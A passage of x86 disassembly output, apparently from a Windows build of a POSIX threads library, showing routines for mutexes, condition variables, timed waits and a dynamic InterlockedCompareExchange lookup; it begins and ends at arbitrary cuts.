--------------------------------------------------------------------------- loc_431A1F: ; CODE XREF: sub_4319F0+1Aj ; sub_4319F0+20j ... push esi push 2Ch push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_431A44 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_431A44: ; CODE XREF: sub_4319F0+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_431A60 mov edi, [edi] test edi, edi jz short loc_431A60 mov edi, [edi+4] jmp short loc_431A62 ; --------------------------------------------------------------------------- loc_431A60: ; CODE XREF: sub_4319F0+63j ; sub_4319F0+69j xor edi, edi loc_431A62: ; CODE XREF: sub_4319F0+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401C8A add esp, 0Ch test eax, eax jz short loc_431A9D push esi mov ebp, 0Bh call near ptr 77C2C21Bh nop mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_431A9D: ; CODE XREF: sub_4319F0+8Ej lea ecx, [esi+14h] push ecx call near ptr 2780DB4h nop mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_4319F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431B00 proc near ; CODE XREF: sub_402252j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_431BE0 mov eax, [edi] test eax, eax jz loc_431BE0 cmp eax, 0FFFFFFFFh jz loc_431BA5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_401785 mov esi, eax add esp, 4 test esi, esi jnz loc_431BDB mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_431B97 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_431B90 add edx, 10h push edx call sub_401690 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax nop call near ptr 27807B0h mov ecx, [esp+8+arg_0] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431B90: ; CODE XREF: sub_431B00+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431B97: ; CODE XREF: sub_431B00+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BA5: ; CODE XREF: sub_431B00+1Dj push offset dword_510920 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_431BCB push offset dword_510920 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BCB: ; CODE XREF: sub_431B00+B3j push offset dword_510920 mov esi, 10h call near ptr 7C9010EDh nop loc_431BDB: ; CODE XREF: sub_431B00+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BE0: ; CODE XREF: sub_431B00+Aj ; sub_431B00+14j pop edi mov eax, 16h pop esi retn sub_431B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431C30 proc near ; CODE XREF: sub_401A1Ej arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 cmp eax, esi jnz short loc_431C53 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_431C53: ; CODE XREF: sub_431C30+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_431C30 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431C80 proc near ; CODE XREF: sub_4010AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_431CA1 mov eax, [ecx] test eax, eax jz short loc_431CA1 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431CA1: ; CODE XREF: sub_431C80+9j ; sub_431C80+Fj mov eax, 16h pop esi retn sub_431C80 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431CC0: ; CODE XREF: ___:00401BBDj mov eax, [esp+4] test eax, eax jz short loc_431CDD mov eax, [eax] test eax, eax jz short loc_431CDD mov ecx, [esp+8] test ecx, ecx jz short loc_431CDD mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_431CDD: ; CODE XREF: ___:00431CC6j ; ___:00431CCCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431D00: ; CODE XREF: ___:00401906j mov eax, [esp+4] test eax, eax jz short loc_431D2A mov ecx, [eax] test ecx, ecx jz short loc_431D2A mov eax, [esp+8] cmp eax, 1 jz short loc_431D1E test eax, eax jnz short loc_431D2A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_431D1E: ; CODE XREF: ___:00431D15j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_431D2A: ; CODE XREF: ___:00431D06j ; ___:00431D0Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431D40 proc near ; CODE XREF: sub_40119Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_431D61 mov ecx, [ecx] test ecx, ecx jz short loc_431D61 mov edx, [esp+arg_4] test edx, edx jl short loc_431D61 cmp edx, 2 jg short loc_431D61 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_431D61: ; CODE XREF: sub_431D40+8j ; sub_431D40+Ej ... mov eax, 16h retn sub_431D40 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431D80 proc near ; CODE XREF: sub_4018CFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_431D9E mov ecx, [ecx] test ecx, ecx jz short loc_431D9E mov edx, [esp+arg_4] test edx, edx jz short loc_431D9E mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_431D9E: ; CODE XREF: sub_431D80+8j ; sub_431D80+Ej ... mov eax, 16h retn sub_431D80 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431DC0 proc near ; CODE XREF: sub_402248j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_431E77 mov eax, [esi] test eax, eax jz loc_431E77 cmp eax, 0FFFFFFFFh jnz short loc_431DF1 push esi call sub_401C17 mov edi, eax add esp, 4 test edi, edi jz short loc_431DF1 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431DF1: ; CODE XREF: sub_431DC0+1Dj ; sub_431DC0+2Cj mov esi, [esi] push esi call near ptr 276055Ch nop test eax, eax jnz short loc_431E1A loc_431DFE: ; CODE XREF: sub_431DC0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_431E12 call sub_4012E4 ; --------------------------------------------------------------------------- loc_431E12: ; CODE XREF: sub_431DC0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431E1A: ; CODE XREF: sub_431DC0+3Cj mov eax, [esi+8] test eax, eax jz short loc_431E5A call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0EC2BE890h dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h dd 24BFh, 5FC78B00h ; --------------------------------------------------------------------------- pop esi retn ; --------------------------------------------------------------------------- loc_431E5A: ; CODE XREF: sub_431DC0+5Fj lea ecx, [esi+10h] push ecx call sub_431EB0 add esp, 4 test eax, eax jz short loc_431DFE call near ptr 77C1F2BCh nop mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431E77: ; CODE XREF: sub_431DC0+Aj ; sub_431DC0+14j pop edi mov eax, 16h pop esi retn sub_431DC0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431EB0 proc near ; CODE XREF: sub_431DC0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_431ECA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx nop call near ptr 27706F1h test eax, eax jnz short loc_431ECA retn ; --------------------------------------------------------------------------- loc_431ECA: ; CODE XREF: sub_431EB0+6j ; sub_431EB0+17j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_431EB0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431EF0 proc near ; CODE XREF: sub_401BD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_432088 mov eax, [esi] test eax, eax jz loc_432088 cmp eax, 0FFFFFFFFh jnz short loc_431F21 push esi call sub_401C17 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_431F21 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431F21: ; CODE XREF: sub_431EF0+1Dj ; sub_431EF0+2Cj mov esi, [esi] push ebx push edi push esi nop call near ptr 276055Ch test eax, eax jnz short loc_431F52 loc_431F30: ; CODE XREF: sub_431EF0+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_43207E call sub_4012E4 ; --------------------------------------------------------------------------- pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431F52: ; CODE XREF: sub_431EF0+3Ej mov eax, [esi+8] test eax, eax jz short loc_431F96 call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0EAF3E890h dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h dd 24BDC35Dh, 5F000000h, 5EC58B5Bh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_431F96: ; CODE XREF: sub_431EF0+67j mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_431FAA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431FAA: ; CODE XREF: sub_431EF0+ACj lea edi, [esi+10h] push eax push edi call sub_432100 add esp, 8 sub eax, 0 jz loc_43206A dec eax jz short loc_432034 dec eax jz short loc_431FD5 nop call near ptr 77C1F2BCh mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_431FD5: ; CODE XREF: sub_431EF0+D4j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi mov ebp, 274Ch call sub_4010A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_432007 nop call near ptr 2770A69h push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432007: ; CODE XREF: sub_431EF0+101j nop call near ptr 2770A69h test eax, eax jl short loc_432026 push edi call sub_40103C add esp, 4 test eax, eax jz short loc_432026 call near ptr 77C1F2BCh nop mov ebp, [eax] loc_432026: ; CODE XREF: sub_431EF0+11Fj ; sub_431EF0+12Cj push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432034: ; CODE XREF: sub_431EF0+D1j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi call sub_4010A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_43205A push esi call near ptr 2770A69h nop mov ebp, 274Ch loc_43205A: ; CODE XREF: sub_431EF0+15Cj push ebx call near ptr 7C9010EDh nop test edi, edi jnz short loc_432081 jmp loc_431F30 ; --------------------------------------------------------------------------- loc_43206A: ; CODE XREF: sub_431EF0+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43207E call sub_4012E4 ; --------------------------------------------------------------------------- loc_43207E: ; CODE XREF: sub_431EF0+4Dj ; sub_431EF0+187j mov [esi+0Ch], eax loc_432081: ; CODE XREF: sub_431EF0+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_432088: ; CODE XREF: sub_431EF0+Aj ; sub_431EF0+14j pop esi mov eax, 16h pop ebp retn sub_431EF0 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432100 proc near ; CODE XREF: sub_431EF0+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_43219E mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_432132 or eax, 0FFFFFFFFh loc_43211C: ; CODE XREF: sub_432100+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx nop call near ptr 27706F1h test eax, eax jnz short loc_43218C pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432132: ; CODE XREF: sub_432100+17j lea eax, [esp+14h+var_C] push eax nop call near ptr 77C49113h mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_43211C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43218C: ; CODE XREF: sub_432100+2Aj cmp eax, 102h jnz short loc_43219E pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43219E: ; CODE XREF: sub_432100+Bj ; sub_432100+91j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_432100 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4321F0 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_432290 mov esi, [eax] cmp esi, ebx jz loc_432290 cmp esi, 0FFFFFFFFh push edi jz short loc_432285 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_43223A call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A64 add esp, 8 test eax, eax jnz short loc_43223A mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43223A: ; CODE XREF: sub_4321F0+2Aj ; sub_4321F0+40j cmp [esi+8], edi jnz short loc_432248 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_43228A loc_432248: ; CODE XREF: sub_4321F0+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi nop call near ptr 7C901005h push esi nop call near ptr 2770A69h test eax, eax jl short loc_432278 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_432278 nop call near ptr 77C1F2BCh mov ebx, [eax] loc_432278: ; CODE XREF: sub_4321F0+6Ej ; sub_4321F0+7Ej push edi call near ptr 7C9010EDh nop pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432285: ; CODE XREF: sub_4321F0+1Ej mov ebx, 16h loc_43228A: ; CODE XREF: sub_4321F0+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432290: ; CODE XREF: sub_4321F0+Aj ; sub_4321F0+14j pop esi mov eax, 16h pop ebx retn sub_4321F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4322D0 proc near ; CODE XREF: sub_401785j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_432355 mov eax, [esi] test eax, eax jz short loc_432355 cmp eax, 0FFFFFFFFh jnz short loc_4322F2 push esi call sub_401C17 add esp, 4 mov edi, eax loc_4322F2: ; CODE XREF: sub_4322D0+15j mov esi, [esi] test edi, edi jnz short loc_432350 push 0FFFFFFFFh push edi push esi call dword_5103C8 ; InterlockedCompareExchange cmp eax, 0FFFFFFFFh jnz short loc_432323 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43231B call sub_4012E4 ; --------------------------------------------------------------------------- loc_43231B: ; CODE XREF: sub_4322D0+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432323: ; CODE XREF: sub_4322D0+35j cmp dword ptr [esi+8], 1 jnz short loc_43234B call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A64 add esp, 8 test eax, eax jz short loc_43234B mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_43234B: ; CODE XREF: sub_4322D0+57j ; sub_4322D0+6Dj mov edi, 10h loc_432350: ; CODE XREF: sub_4322D0+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_432355: ; CODE XREF: sub_4322D0+Aj ; sub_4322D0+10j pop edi mov eax, 16h pop esi retn sub_4322D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432390: ; CODE XREF: ___:0040193Dj mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_40119A add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4323C0: ; CODE XREF: ___:00401591j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4018CF add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4323F0: ; CODE XREF: ___:00401497j mov eax, [esp+4] test eax, eax jz short loc_4323FC mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_4323FC: ; CODE XREF: ___:004323F6j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_432410: ; CODE XREF: ___:00401C12j mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_432422 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_432422: ; CODE XREF: ___:00432418j mov esi, [eax] test esi, esi jnz short loc_432445 mov ecx, [eax+4] test ecx, ecx jnz short loc_432445 call sub_401D02 ; --------------------------------------------------------------------------- dd 0A7E89056h, 0E8023EF9h, 0FFFCF8C2h, 5EC0335Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_432445: ; CODE XREF: ___:00432426j ; ___:0043242Dj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012E4 ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jnz short loc_43247E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_43247E: ; CODE XREF: ___:00432474j mov eax, [esi+30h] push edi test eax, eax jnz short loc_4324E6 mov edx, [esi+38h] push edx nop call near ptr 27706F1h test eax, eax jnz short loc_4324D7 lea edi, [esi+2Ch] push edi call sub_402248 mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_4324C6 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- add esp, 8 loc_4324C6: ; CODE XREF: ___:004324A6j push edi call sub_4010C3 add esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4324D7: ; CODE XREF: ___:00432492j cmp eax, 102h jz short loc_4324EC pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4324E6: ; CODE XREF: ___:00432484j nop call near ptr 2821DE2h loc_4324EC: ; CODE XREF: ___:004324DCj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432540: ; CODE XREF: ___:00401014j push ecx lea eax, [esp+0] push eax call sub_401C3A add esp, 4 test eax, eax mov eax, 1 jnz short loc_43255B mov eax, [esp+0] loc_43255B: ; CODE XREF: ___:00432555j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432570 proc near ; CODE XREF: sub_401712j push esi call sub_401320 push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax nop call near ptr 27E08A3h push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov dword_5103AC, eax nop call near ptr 289036Ch test eax, eax mov dword_5103C8, eax jnz short loc_4325BD mov eax, dword_5103AC mov dword_5103C8, offset sub_4012D0 push eax nop call near ptr 2750379h mov dword_5103AC, 0 loc_4325BD: ; CODE XREF: sub_432570+2Bj mov eax, esi pop esi retn sub_432570 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4325F0 proc near ; CODE XREF: sub_401627j mov eax, dword_5103B0 test eax, eax jz short loc_432640 mov eax, dword_5103B4 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah, 8BFFFCF1h dd 5103B40Dh, 4C48300h, 6A118Bh, 0D9D6E852h, 0E8900231h dd 0FFFCF015h, 5103ACA1h, 74C08500h, 3AE85007h, 900231DDh ; --------------------------------------------------------------------------- loc_432640: ; CODE XREF: sub_4325F0+7j mov eax, 1 retn sub_4325F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432670 proc near ; CODE XREF: sub_4017BCj mov eax, 1 retn sub_432670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432690 proc near ; CODE XREF: sub_4017CBj mov eax, dword_5103B0 test eax, eax jz short loc_4326CB mov eax, dword_5103B4 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h dd 5103B40Dh, 4C48300h, 6A118Bh, 35E89052h db 0D9h, 31h, 2 ; --------------------------------------------------------------------------- loc_4326CB: ; CODE XREF: sub_432690+7j mov eax, 1 retn sub_432690 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_432700: ; CODE XREF: ___:0040225Cj push ecx push esi push offset dword_510980 xor esi, esi nop call near ptr 7C901005h mov eax, dword_5103BC test eax, eax mov [esp+4], eax jz short loc_43273E loc_43271C: ; CODE XREF: ___:0043273Cj test esi, esi jnz short loc_43273E lea eax, [esp+4] push eax call sub_40160E mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_43271C loc_43273E: ; CODE XREF: ___:0043271Aj ; ___:0043271Ej push offset dword_510980 call near ptr 7C9010EDh nop mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432780 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_432799 mov eax, [eax] test eax, eax jz short loc_432799 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_432799 xor eax, eax retn ; --------------------------------------------------------------------------- loc_432799: ; CODE XREF: sub_432780+6j ; sub_432780+Cj ... mov eax, 1 retn sub_432780 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4327B0 proc near ; CODE XREF: sub_401320j mov eax, dword_5103B0 test eax, eax jz short loc_4327BF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4327BF: ; CODE XREF: sub_4327B0+7j push 0 push offset dword_5103B4 mov dword_5103B0, 1 call sub_401609 add esp, 8 test eax, eax jnz short loc_4327EE push eax push offset dword_5103B8 call sub_401609 add esp, 8 test eax, eax jz short loc_4327F3 loc_4327EE: ; CODE XREF: sub_4327B0+2Aj call sub_401645 loc_4327F3: ; CODE XREF: sub_4327B0+3Cj push esi mov esi, dword_511868 push offset dword_5108C0 call esi push offset dword_510920 call esi push offset dword_510980 call esi push offset dword_510900 call esi push offset dword_510960 call esi push offset dword_510940 call esi mov eax, dword_5103B0 pop esi retn sub_4327B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432850 proc near ; CODE XREF: sub_401645j mov eax, dword_5103B0 test eax, eax jz locret_432909 mov eax, dword_5103B4 test eax, eax jz short loc_432879 push eax call sub_401AB4 add esp, 4 mov dword_5103B4, 0 loc_432879: ; CODE XREF: sub_432850+14j mov eax, dword_5103B8 test eax, eax jz short loc_432895 push eax call sub_401AB4 add esp, 4 mov dword_5103B8, 0 loc_432895: ; CODE XREF: sub_432850+30j push esi push offset dword_5108C0 nop call near ptr 7C901005h mov eax, dword_447700 cmp eax, 1 jz short loc_4328C3 push edi mov edi, dword_511AD0 loc_4328B2: ; CODE XREF: sub_432850+70j mov esi, [eax+8] push eax call edi ; free add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_4328B2 pop edi loc_4328C3: ; CODE XREF: sub_432850+59j push offset dword_5108C0 call near ptr 7C9010EDh nop mov esi, dword_511864 push offset dword_510940 call esi push offset dword_510960 call esi push offset dword_510900 call esi push offset dword_510980 call esi push offset dword_510920 call esi push offset dword_5108C0 call esi mov dword_5103B0, 0 pop esi locret_432909: ; CODE XREF: sub_432850+7j retn sub_432850 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_432940: ; CODE XREF: ___:loc_401BA9j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov [ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx nop call near ptr 77C2C21Bh mov eax, dword_5103B4 push esi push eax call sub_4020F9 ; --------------------------------------------------------------------------- mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_437D4C ; --------------------------------------------------------------------------- mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_43299C mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_4329A8 ; --------------------------------------------------------------------------- loc_43299C: ; CODE XREF: ___:00432989j dec eax jz short loc_4329A5 dec eax or esi, 0FFFFFFFFh jmp short loc_4329A8 ; --------------------------------------------------------------------------- loc_4329A5: ; CODE XREF: ___:0043299Dj mov esi, [edi+14h] loc_4329A8: ; CODE XREF: ___:0043299Aj ; ___:004329A3j cmp dword ptr [edi+20h], 1 jnz short loc_4329C7 call sub_4017CB push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4329C7: ; CODE XREF: ___:004329ACj push edi call sub_40131B add esp, 4 push esi call near ptr 77C3A307h nop add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_432A20 proc near ; CODE XREF: sub_4017B7j var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_432A9A lea esi, [ebx+2Ch] push edi push esi call sub_402248 push esi mov dword ptr [ebx+0Ch], 5 call sub_4010C3 push ebx call sub_40131B mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401BD1 mov eax, 